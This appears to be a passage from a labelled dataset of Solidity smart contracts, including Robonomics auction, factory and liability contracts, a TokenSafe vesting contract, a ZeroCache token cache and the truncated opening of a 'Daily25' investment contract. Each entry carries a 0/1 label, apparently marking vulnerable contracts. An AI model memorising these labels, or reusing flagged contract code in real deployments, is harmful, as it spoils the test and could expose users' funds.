uint maxWei = maxTokenSold * calcTokenPrice() / 10**9 - totalReceived;
uint maxWeiBasedOnTotalReceived = ceiling - totalReceived;
if (maxWeiBasedOnTotalReceived < maxWei)
maxWei = maxWeiBasedOnTotalReceived;
if (amount > maxWei) {
amount = maxWei;
receiver.transfer(msg.value - amount);
}
(bool success,) = wallet.call.value(amount)("");
require(success);
bids[receiver] += amount;
totalReceived += amount;
emit BidSubmission(receiver, amount);
if (amount == maxWei)
finalizeAuction();
}
function claimTokens()
public
isValidPayload
timedTransitions
atStage(Stages.TradingStarted)
{
address receiver = msg.sender;
uint tokenCount = bids[receiver] * 10**9 / finalPrice;
bids[receiver] = 0;
token.safeTransfer(receiver, tokenCount);
}
function calcStopPrice()
view
public
returns (uint)
{
return totalReceived * 10**9 / maxTokenSold + 1;
}
function calcTokenPrice()
view
public
returns (uint)
{
return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1;
}
function finalizeAuction()
private
{
stage = Stages.AuctionEnded;
finalPrice = totalReceived == ceiling ? calcTokenPrice() : calcStopPrice();
uint soldTokens = totalReceived * 10**9 / finalPrice;
if (totalReceived == ceiling) {
token.safeTransfer(ambix, maxTokenSold - soldTokens);
} else {
token.burn(maxTokenSold - soldTokens);
}
endTime = now;
}
}
pragma solidity ^0.5.0;
library SharedCode {
function proxy(address _shared) internal returns (address instance) {
bytes memory code = abi.encodePacked(
hex"603160008181600b9039f3600080808080368092803773",
_shared, hex"5af43d828181803e808314603057f35bfd"
);
assembly {
instance := create(0, add(code, 0x20), 60)
if iszero(extcodesize(instance)) {
revert(0, 0)
}
}
}
}
pragma solidity ^0.5.0;
contract ILiability {
event Finalized(bool indexed success, bytes result);
bytes public model;
bytes public objective;
bytes public result;
address public token;
uint256 public cost;
uint256 public lighthouseFee;
uint256 public validatorFee;
bytes32 public demandHash;
bytes32 public offerHash;
address public promisor;
address public promisee;
address public lighthouse;
address public validator;
bool public isSuccess;
bool public isFinalized;
function demand(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _lighthouse,
address _validator,
uint256 _validator_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
) external returns (bool);
function offer(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _validator,
address _lighthouse,
uint256 _lighthouse_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
) external returns (bool);
function finalize(
bytes calldata _result,
bool _success,
bytes calldata _signature
) external returns (bool);
}
pragma solidity ^0.5.0;
contract ILighthouse {
event Online(address indexed provider);
event Offline(address indexed provider);
event Current(address indexed provider, uint256 indexed quota);
address[] public providers;
function providersLength() public view returns (uint256)
{ return providers.length; }
mapping(address => uint256) public stakes;
uint256 public minimalStake;
uint256 public timeoutInBlocks;
uint256 public keepAliveBlock;
uint256 public marker;
uint256 public quota;
function quotaOf(address _provider) public view returns (uint256)
{ return stakes[_provider] / minimalStake; }
function refill(uint256 _value) external returns (bool);
function withdraw(uint256 _value) external returns (bool);
function createLiability(
bytes calldata _demand,
bytes calldata _offer
) external returns (bool);
function finalizeLiability(
address _liability,
bytes calldata _result,
bool _success,
bytes calldata _signature
) external returns (bool);
}
pragma solidity ^0.5.0;
contract IFactory {
event NewLiability(address indexed liability);
event NewLighthouse(address indexed lighthouse, string name);
mapping(address => bool) public isLighthouse;
mapping(address => uint256) public nonceOf;
uint256 public totalGasConsumed = 0;
mapping(address => uint256) public gasConsumedOf;
uint256 public constant gasEpoch = 347 * 10**10;
uint256 public gasPrice = 10 * 10**9;
function wnFromGas(uint256 _gas) public view returns (uint256);
function createLighthouse(
uint256 _minimalStake,
uint256 _timeoutInBlocks,
string calldata _name
) external returns (ILighthouse);
function createLiability(
bytes calldata _demand,
bytes calldata _offer
) external returns (ILiability);
function liabilityCreated(ILiability _liability, uint256 _start_gas) external returns (bool);
function liabilityFinalized(ILiability _liability, uint256 _start_gas) external returns (bool);
}
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.0;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
contract XRT is ERC20Mintable, ERC20Burnable, ERC20Detailed {
constructor(uint256 _initial_supply) public ERC20Detailed("Robonomics", "XRT", 9) {
_mint(msg.sender, _initial_supply);
}
}
pragma solidity ^0.5.0;
contract Lighthouse is ILighthouse {
using SafeERC20 for XRT;
IFactory public factory;
XRT public xrt;
function setup(XRT _xrt, uint256 _minimalStake, uint256 _timeoutInBlocks) external returns (bool) {
require(factory == IFactory(0) && _minimalStake > 0 && _timeoutInBlocks > 0);
minimalStake = _minimalStake;
timeoutInBlocks = _timeoutInBlocks;
factory = IFactory(msg.sender);
xrt = _xrt;
return true;
}
mapping(address => uint256) public indexOf;
function refill(uint256 _value) external returns (bool) {
xrt.safeTransferFrom(msg.sender, address(this), _value);
if (stakes[msg.sender] == 0) {
require(_value >= minimalStake);
providers.push(msg.sender);
indexOf[msg.sender] = providers.length;
emit Online(msg.sender);
}
stakes[msg.sender] += _value;
return true;
}
function withdraw(uint256 _value) external returns (bool) {
require(stakes[msg.sender] >= _value);
stakes[msg.sender] -= _value;
xrt.safeTransfer(msg.sender, _value);
if (quotaOf(msg.sender) == 0) {
uint256 balance = stakes[msg.sender];
stakes[msg.sender] = 0;
xrt.safeTransfer(msg.sender, balance);
uint256 senderIndex = indexOf[msg.sender] - 1;
uint256 lastIndex = providers.length - 1;
if (senderIndex < lastIndex)
providers[senderIndex] = providers[lastIndex];
providers.length -= 1;
indexOf[msg.sender] = 0;
emit Offline(msg.sender);
}
return true;
}
function keepAliveTransaction() internal {
if (timeoutInBlocks < block.number - keepAliveBlock) {
marker = indexOf[msg.sender];
require(marker > 0 && marker <= providers.length);
quota = quotaOf(providers[marker - 1]);
emit Current(providers[marker - 1], quota);
}
keepAliveBlock = block.number;
}
function quotedTransaction() internal {
require(providers.length > 0);
require(quota > 0);
require(msg.sender == providers[marker - 1]);
if (quota > 1) {
quota -= 1;
} else {
marker = marker % providers.length + 1;
quota = quotaOf(providers[marker - 1]);
emit Current(providers[marker - 1], quota);
}
}
function startGas() internal view returns (uint256 gas) {
gas = gasleft();
gas += 21000;
for (uint256 i = 0; i < msg.data.length; ++i)
gas += msg.data[i] == 0 ? 4 : 68;
}
function createLiability(
bytes calldata _demand,
bytes calldata _offer
)
external
returns (bool)
{
uint256 gas = startGas() + 5292;
keepAliveTransaction();
quotedTransaction();
ILiability liability = factory.createLiability(_demand, _offer);
require(liability != ILiability(0));
require(factory.liabilityCreated(liability, gas - gasleft()));
return true;
}
function finalizeLiability(
address _liability,
bytes calldata _result,
bool _success,
bytes calldata _signature
)
external
returns (bool)
{
uint256 gas = startGas() + 23363;
keepAliveTransaction();
quotedTransaction();
ILiability liability = ILiability(_liability);
require(factory.gasConsumedOf(_liability) > 0);
require(liability.finalize(_result, _success, _signature));
require(factory.liabilityFinalized(liability, gas - gasleft()));
return true;
}
}
pragma solidity ^0.5.0;
contract IValidator {
function isValidator(address _validator) external returns (bool);
}
pragma solidity ^0.5.0;
contract Liability is ILiability {
using ECDSA for bytes32;
using SafeERC20 for XRT;
using SafeERC20 for ERC20;
address public factory;
XRT public xrt;
function setup(XRT _xrt) external returns (bool) {
require(factory == address(0));
factory = msg.sender;
xrt = _xrt;
return true;
}
function demand(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _lighthouse,
address _validator,
uint256 _validator_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
)
external
returns (bool)
{
require(msg.sender == factory);
require(block.number < _deadline);
model = _model;
objective = _objective;
token = _token;
cost = _cost;
lighthouse = _lighthouse;
validator = _validator;
validatorFee = _validator_fee;
demandHash = keccak256(abi.encodePacked(
_model
, _objective
, _token
, _cost
, _lighthouse
, _validator
, _validator_fee
, _deadline
, IFactory(factory).nonceOf(_sender)
, _sender
));
promisee = demandHash
.toEthSignedMessageHash()
.recover(_signature);
require(promisee == _sender);
return true;
}
function offer(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _validator,
address _lighthouse,
uint256 _lighthouse_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
)
external
returns (bool)
{
require(msg.sender == factory);
require(block.number < _deadline);
require(keccak256(model) == keccak256(_model));
require(keccak256(objective) == keccak256(_objective));
require(_token == token);
require(_cost == cost);
require(_lighthouse == lighthouse);
require(_validator == validator);
lighthouseFee = _lighthouse_fee;
offerHash = keccak256(abi.encodePacked(
_model
, _objective
, _token
, _cost
, _validator
, _lighthouse
, _lighthouse_fee
, _deadline
, IFactory(factory).nonceOf(_sender)
, _sender
));
promisor = offerHash
.toEthSignedMessageHash()
.recover(_signature);
require(promisor == _sender);
return true;
}
function finalize(
bytes calldata _result,
bool _success,
bytes calldata _signature
)
external
returns (bool)
{
require(msg.sender == lighthouse);
require(!isFinalized);
isFinalized = true;
result = _result;
isSuccess = _success;
address resultSender = keccak256(abi.encodePacked(this, _result, _success))
.toEthSignedMessageHash()
.recover(_signature);
if (validator == address(0)) {
require(resultSender == promisor);
} else {
require(IValidator(validator).isValidator(resultSender));
if (validatorFee > 0)
xrt.safeTransfer(validator, validatorFee);
}
if (cost > 0)
ERC20(token).safeTransfer(isSuccess ? promisor : promisee, cost);
emit Finalized(isSuccess, result);
return true;
}
}
pragma solidity ^0.5.0;
contract Factory is IFactory, SingletonHash {
constructor(
address _liability,
address _lighthouse,
DutchAuction _auction,
AbstractENS _ens,
XRT _xrt
) public {
liabilityCode = _liability;
lighthouseCode = _lighthouse;
auction = _auction;
ens = _ens;
xrt = _xrt;
}
address public liabilityCode;
address public lighthouseCode;
using SafeERC20 for XRT;
using SafeERC20 for ERC20;
using SharedCode for address;
DutchAuction public auction;
AbstractENS public ens;
XRT public xrt;
function smma(uint256 _prePrice, uint256 _price) internal pure returns (uint256) {
return (_prePrice * (smmaPeriod - 1) + _price) / smmaPeriod;
}
uint256 private constant smmaPeriod = 1000;
function wnFromGas(uint256 _gas) public view returns (uint256) {
if (auction.finalPrice() == 0)
return _gas;
uint256 epoch = totalGasConsumed / gasEpoch;
uint256 wn = _gas * 10**9 * gasPrice * 2**epoch / 3**epoch / auction.finalPrice();
return wn < _gas ? _gas : wn;
}
modifier onlyLighthouse {
require(isLighthouse[msg.sender]);
_;
}
modifier gasPriceEstimate {
gasPrice = smma(gasPrice, tx.gasprice);
_;
}
function createLighthouse(
uint256 _minimalStake,
uint256 _timeoutInBlocks,
string calldata _name
)
external
returns (ILighthouse lighthouse)
{
bytes32 LIGHTHOUSE_NODE
= 0x8d6c004b56cbe83bbfd9dcbd8f45d1f76398267bbb130a4629d822abc1994b96;
bytes32 hname = keccak256(bytes(_name));
bytes32 subnode = keccak256(abi.encodePacked(LIGHTHOUSE_NODE, hname));
require(ens.resolver(subnode) == address(0));
lighthouse = ILighthouse(lighthouseCode.proxy());
require(Lighthouse(address(lighthouse)).setup(xrt, _minimalStake, _timeoutInBlocks));
emit NewLighthouse(address(lighthouse), _name);
isLighthouse[address(lighthouse)] = true;
ens.setSubnodeOwner(LIGHTHOUSE_NODE, hname, address(this));
AbstractResolver resolver = AbstractResolver(ens.resolver(LIGHTHOUSE_NODE));
ens.setResolver(subnode, address(resolver));
resolver.setAddr(subnode, address(lighthouse));
}
function createLiability(
bytes calldata _demand,
bytes calldata _offer
)
external
onlyLighthouse
returns (ILiability liability)
{
liability = ILiability(liabilityCode.proxy());
require(Liability(address(liability)).setup(xrt));
emit NewLiability(address(liability));
(bool success, bytes memory returnData)
= address(liability).call(abi.encodePacked(bytes4(0x48a984e4), _demand));
require(success);
singletonHash(liability.demandHash());
nonceOf[liability.promisee()] += 1;
(success, returnData)
= address(liability).call(abi.encodePacked(bytes4(0x413781d2), _offer));
require(success);
singletonHash(liability.offerHash());
nonceOf[liability.promisor()] += 1;
require(isLighthouse[liability.lighthouse()]);
if (liability.lighthouseFee() > 0)
xrt.safeTransferFrom(liability.promisor(),
tx.origin,
liability.lighthouseFee());
ERC20 token = ERC20(liability.token());
if (liability.cost() > 0)
token.safeTransferFrom(liability.promisee(),
address(liability),
liability.cost());
if (liability.validator() != address(0) && liability.validatorFee() > 0)
xrt.safeTransferFrom(liability.promisee(),
address(liability),
liability.validatorFee());
}
function liabilityCreated(
ILiability _liability,
uint256 _gas
)
external
onlyLighthouse
gasPriceEstimate
returns (bool)
{
address liability = address(_liability);
totalGasConsumed += _gas;
gasConsumedOf[liability] += _gas;
return true;
}
function liabilityFinalized(
ILiability _liability,
uint256 _gas
)
external
onlyLighthouse
gasPriceEstimate
returns (bool)
{
address liability = address(_liability);
totalGasConsumed += _gas;
gasConsumedOf[liability] += _gas;
require(xrt.mint(tx.origin, wnFromGas(gasConsumedOf[liability])));
return true;
}
} | 0 | 1,145 |
pragma solidity ^0.4.13;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract TokenSafe {
mapping (uint256 => uint256) allocations;
mapping (address => bool) isAddressInclude;
uint256 public unlockTimeLine;
uint256 public constant firstTimeLine = 1514044800;
uint256 public constant secondTimeLine = 1521820800;
uint256 public constant thirdTimeLine = 1529769600;
address public originalContract;
uint256 public constant exponent = 10**8;
uint256 public constant limitAmount = 1500000000*exponent;
uint256 public balance = 1500000000*exponent;
function TokenSafe(address _originalContract) {
originalContract = _originalContract;
allocations[1] = 333;
allocations[2] = 666;
allocations[3] = 1000;
isAddressInclude[0x5527CCB20a12546A3f03517076339060B997B468] = true;
isAddressInclude[0xb94a75e6fd07bfba543930a500e1648c2e8c9622] = true;
isAddressInclude[0x59c582aefb682e0f32c9274a6cd1c2aa45353a1f] = true;
}
function unlock() external{
require(now > firstTimeLine);
require(isAddressInclude[msg.sender] == true);
if(now >= firstTimeLine){
unlockTimeLine = 1;
}
if(now >= secondTimeLine){
unlockTimeLine = 2;
}
if (now >= thirdTimeLine){
unlockTimeLine = 3;
}
uint256 balanceShouldRest = limitAmount - limitAmount * allocations[unlockTimeLine] / 1000;
uint256 canWithdrawAmount = balance - balanceShouldRest;
require(canWithdrawAmount > 0);
if (!StandardToken(originalContract).transfer(msg.sender, canWithdrawAmount )){
revert();
}
balance = balance - canWithdrawAmount;
}
} | 1 | 4,468 |
pragma solidity ^0.4.25;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ECRecovery {
function recover(bytes32 hash, bytes sig) public pure returns (address);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function approveAndCall(address spender, uint tokens, bytes data) public;
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Zer0netDbInterface {
function getAddress(bytes32 _key) external view returns (address);
function getBool(bytes32 _key) external view returns (bool);
function getBytes(bytes32 _key) external view returns (bytes);
function getInt(bytes32 _key) external view returns (int);
function getString(bytes32 _key) external view returns (string);
function getUint(bytes32 _key) external view returns (uint);
function setAddress(bytes32 _key, address _value) external;
function setBool(bytes32 _key, bool _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setInt(bytes32 _key, int _value) external;
function setString(bytes32 _key, string _value) external;
function setUint(bytes32 _key, uint _value) external;
function deleteAddress(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
}
contract WETHInterface {
function() public payable;
function deposit() public payable ;
function withdraw(uint wad) public;
function totalSupply() public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(address src, address dst, uint wad) public returns (bool);
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
contract ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ZeroCache is Owned {
using SafeMath for uint;
address private _predecessor;
address private _successor;
uint private _revision;
Zer0netDbInterface private _zer0netDb;
mapping(address => mapping (address => uint)) private _balances;
mapping(bytes32 => bool) private _expiredSignatures;
uint private _MAX_REVISION_DEPTH = 0;
event Deposit(
address indexed token,
address owner,
uint tokens,
bytes data
);
event Migrate(
address indexed token,
address owner,
uint tokens
);
event Skipped(
address sender,
address receiver,
address token,
uint tokens
);
event Staek(
address sender,
address staekholder,
uint tokens
);
event Transfer(
address indexed token,
address sender,
address receiver,
uint tokens
);
event Withdraw(
address indexed token,
address owner,
uint tokens
);
constructor() public {
_predecessor = 0x0;
if (_predecessor != 0x0) {
uint lastRevision = ZeroCache(_predecessor).getRevision();
_revision = lastRevision + 1;
}
_zer0netDb = Zer0netDbInterface(0xE865Fe1A1A3b342bF0E2fcB11fF4E3BCe58263af);
}
modifier onlyAuthBy0Admin() {
require(_zer0netDb.getBool(keccak256(
abi.encodePacked(msg.sender, '.has.auth.for.zerocache'))) == true);
_;
}
function () public payable {
bool isWethContract = false;
address[4] memory contracts;
contracts[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
contracts[1] = 0xc778417E063141139Fce010982780140Aa0cD5Ab;
contracts[2] = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
contracts[3] = 0xc778417E063141139Fce010982780140Aa0cD5Ab;
for (uint i = 0; i < contracts.length; i++) {
if (msg.sender == contracts[i]) {
isWethContract = true;
}
}
if (!isWethContract) {
_wrap(msg.sender);
}
}
function wrap() external payable returns (bool success) {
return _wrap(msg.sender);
}
function wrap(
address _owner
) external payable returns (bool success) {
return _wrap(_owner);
}
function _wrap(
address _owner
) private returns (bool success) {
address wethAddress = _weth();
success = wethAddress.call
.gas(200000)
.value(msg.value)
(abi.encodeWithSignature("deposit()"));
if (success) {
_balances[wethAddress][_owner] =
_balances[wethAddress][_owner].add(msg.value);
bytes memory data;
emit Deposit(
wethAddress,
_owner,
msg.value,
data
);
} else {
revert('An error occurred while wrapping your ETH.');
}
}
function unwrap(
uint _tokens
) public returns (bool success) {
return _unwrap(msg.sender, _tokens);
}
function unwrap(
address _owner,
uint _tokens
) onlyAuthBy0Admin external returns (bool success) {
return _unwrap(_owner, _tokens);
}
function _unwrap(
address _owner,
uint _tokens
) private returns (bool success) {
address wethAddress = _weth();
if (_balances[wethAddress][_owner] < _tokens) {
revert('Oops! You DO NOT have enough WETH.');
}
_balances[wethAddress][_owner] =
_balances[wethAddress][_owner].sub(_tokens);
success = wethAddress.call
.gas(200000)
(abi.encodeWithSignature("withdraw(uint256)", _tokens));
if (success) {
_owner.transfer(_tokens);
emit Withdraw(
wethAddress,
_owner,
_tokens
);
} else {
revert('An error occurred while unwrapping your ETH.');
}
}
function deposit(
address _token,
address _from,
uint _tokens,
bytes _data
) external returns (bool success) {
return _deposit(_token, _from, _tokens, _data);
}
function receiveApproval(
address _from,
uint _tokens,
address _token,
bytes _data
) public returns (bool success) {
return _deposit(_token, _from, _tokens, _data);
}
function _deposit(
address _token,
address _from,
uint _tokens,
bytes _data
) private returns (bool success) {
ERC20Interface(_token).transferFrom(
_from, address(this), _tokens);
address receiver = 0x0;
if (_data.length == 20) {
receiver = _bytesToAddress(_data);
} else {
receiver = _from;
}
_balances[_token][receiver] =
_balances[_token][receiver].add(_tokens);
emit Deposit(_token, receiver, _tokens, _data);
return true;
}
function withdraw(
address _token,
uint _tokens
) public returns (bool success) {
return _withdraw(msg.sender, _token, _tokens);
}
function withdraw(
address _owner,
address _token,
uint _tokens
) onlyAuthBy0Admin external returns (bool success) {
return _withdraw(_owner, _token, _tokens);
}
function _withdraw(
address _owner,
address _token,
uint _tokens
) private returns (bool success) {
if (_balances[_token][_owner] < _tokens) {
revert('Oops! You DO NOT have enough tokens.');
}
_balances[_token][_owner] =
_balances[_token][_owner].sub(_tokens);
ERC20Interface(_token).transfer(_owner, _tokens);
emit Withdraw(_token, _owner, _tokens);
return true;
}
function transfer(
address _to,
address _token,
uint _tokens
) external returns (bool success) {
return _transfer(
msg.sender, _to, _token, _tokens);
}
function transfer(
address _token,
address _from,
address _to,
uint _tokens,
address _staekholder,
uint _staek,
uint _expires,
uint _nonce,
bytes _signature
) external returns (bool success) {
bytes32 transferHash = keccak256(abi.encodePacked(
address(this),
_token,
_from,
_to,
_tokens,
_staekholder,
_staek,
_expires,
_nonce
));
bool requestHasAuthSig = _requestHasAuthSig(
_from,
transferHash,
_expires,
_signature
);
if (!requestHasAuthSig) {
revert('Oops! This relay request is NOT valid.');
}
if (_staekholder != 0x0 && _staek > 0) {
_addStaek(_from, _staekholder, _staek);
}
return _transfer(
_from, _to, _token, _tokens);
}
function _transfer(
address _from,
address _to,
address _token,
uint _tokens
) private returns (bool success) {
if (_balances[_token][_from] < _tokens) {
revert('Oops! You DO NOT have enough tokens.');
}
_balances[_token][_from] = _balances[_token][_from].sub(_tokens);
_balances[_token][_to] = _balances[_token][_to].add(_tokens);
emit Transfer(
_token,
_from,
_to,
_tokens
);
return true;
}
function multiTransfer(
address[] _to,
address[] _token,
uint[] _tokens
) external returns (bool success) {
return _multiTransfer(msg.sender, _to, _token, _tokens);
}
function _multiTransfer(
address _from,
address[] _to,
address[] _token,
uint[] _tokens
) private returns (bool success) {
for (uint i = 0; i < _to.length; i++) {
address token = _token[i];
uint tokens = _tokens[i];
address to = _to[i];
if (_ownerIsContract(to)) {
emit Skipped(_from, to, token, tokens);
} else {
_transfer(
_from, to, token, tokens);
}
}
return true;
}
function _addStaek(
address _owner,
address _staekholder,
uint _tokens
) private returns (bool success) {
address zgAddress = _zeroGold();
if (_balances[zgAddress][_owner] < _tokens) {
revert('Oops! You DO NOT have enough ZeroGold to staek.');
}
_balances[zgAddress][_owner] =
_balances[zgAddress][_owner].sub(_tokens);
_zeroGold().transfer(_staekholder, _tokens);
emit Staek(
_owner,
_staekholder,
_tokens
);
return true;
}
function cancel(
address _token,
address _from,
address _to,
uint _tokens,
address _staekholder,
uint _staek,
uint _expires,
uint _nonce,
bytes _signature
) external returns (bool success) {
bytes32 cancelHash = keccak256(abi.encodePacked(
address(this),
_token,
_from,
_to,
_tokens,
_staekholder,
_staek,
_expires,
_nonce
));
bool requestHasAuthSig = _requestHasAuthSig(
_from,
cancelHash,
_expires,
_signature
);
if (!requestHasAuthSig) {
revert('Oops! This cancel request is NOT valid.');
}
return true;
}
function migrate(
address[] _tokens
) external returns (bool success) {
return _migrate(msg.sender, _tokens);
}
function _migrate(
address _owner,
address[] _tokens
) private returns (bool success) {
bytes32 hash = keccak256('aname.zerocache');
address latestCache = _zer0netDb.getAddress(hash);
for (uint i = 0; i < _tokens.length; i++) {
address token = _tokens[i];
uint balance = balanceOf(token, _owner, 0);
_balances[token][_owner] = 0;
if (token == address(_weth())) {
address wethAddress = _weth();
success = wethAddress.call
.gas(100000)
(abi.encodeWithSignature("withdraw(uint256)", balance));
success = latestCache.call
.gas(100000)
.value(balance)
(abi.encodeWithSignature("wrap(address)", _owner));
} else {
bytes memory data = abi.encodePacked(_owner);
ApproveAndCallFallBack(token)
.approveAndCall(latestCache, balance, data);
success = true;
}
emit Migrate(token, _owner, balance);
}
}
function getRevision() public view returns (uint) {
return _revision;
}
function getPredecessor() public view returns (address) {
return _predecessor;
}
function getSuccessor() public view returns (address) {
return _successor;
}
function balanceOf(
address _token,
address _owner
) external constant returns (uint balance) {
return balanceOf(
_token, _owner, _MAX_REVISION_DEPTH);
}
function balanceOf(
address _token,
address _owner,
uint _depth
) public constant returns (uint balance) {
balance = _balances[_token][_owner];
address legacyInstance = getPredecessor();
if (legacyInstance != 0x0) {
uint totalLegacyBalance = 0;
for (uint i = 0; i < _depth; i++) {
uint legacyBalance = ZeroCache(legacyInstance)
.balanceOf(_token, _owner);
totalLegacyBalance = totalLegacyBalance.add(legacyBalance);
legacyInstance = ZeroCache(legacyInstance).getPredecessor();
if (legacyInstance == 0x0) {
break;
}
}
balance = balance.add(totalLegacyBalance);
}
}
function setSuccessor(
address _newSuccessor
) onlyAuthBy0Admin external returns (bool success) {
_successor = _newSuccessor;
return true;
}
function supportsInterface(
bytes4 _interfaceID
) external pure returns (bool) {
bytes4 InvalidId = 0xffffffff;
bytes4 ERC165Id = 0x01ffc9a7;
if (_interfaceID == InvalidId) {
return false;
}
if (_interfaceID == ERC165Id) {
return true;
}
return false;
}
function _ecRecovery() private view returns (
ECRecovery ecrecovery
) {
bytes32 hash = keccak256('aname.ecrecovery');
address aname = _zer0netDb.getAddress(hash);
ecrecovery = ECRecovery(aname);
}
function _weth() private view returns (
WETHInterface weth
) {
bytes32 hash = keccak256('aname.WETH');
address aname = _zer0netDb.getAddress(hash);
weth = WETHInterface(aname);
}
function _dai() private view returns (
ERC20Interface dai
) {
bytes32 hash = keccak256('aname.DAI');
address aname = _zer0netDb.getAddress(hash);
dai = ERC20Interface(aname);
}
function _zeroGold() private view returns (
ERC20Interface zeroGold
) {
bytes32 hash = keccak256('aname.0GOLD');
address aname = _zer0netDb.getAddress(hash);
zeroGold = ERC20Interface(aname);
}
function _requestHasAuthSig(
address _from,
bytes32 _authHash,
uint _expires,
bytes _signature
) private returns (bool success) {
bytes32 sigHash = keccak256(abi.encodePacked(
'\x19Ethereum Signed Message:\n32', _authHash));
if (_expiredSignatures[sigHash]) {
return false;
}
_expiredSignatures[sigHash] = true;
if (block.number > _expires) {
return false;
}
address authorizedAccount =
_ecRecovery().recover(sigHash, _signature);
if (_from != authorizedAccount) {
return false;
}
return true;
}
function _ownerIsContract(
address _owner
) private view returns (bool isContract) {
uint codeLength;
assembly {
codeLength := extcodesize(_owner)
}
isContract = (codeLength > 0);
}
function _bytesToAddress(bytes _address) private pure returns (address) {
uint160 m = 0;
uint160 b = 0;
for (uint8 i = 0; i < 20; i++) {
m *= 256;
b = uint160(_address[i]);
m += (b);
}
return address(m);
}
function transferAnyERC20Token(
address _tokenAddress,
uint _tokens
) public onlyOwner returns (bool success) {
return ERC20Interface(_tokenAddress).transfer(owner, _tokens);
}
} | 0 | 667 |
pragma solidity ^0.4.24;
contract Daily25 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 115;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.25 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
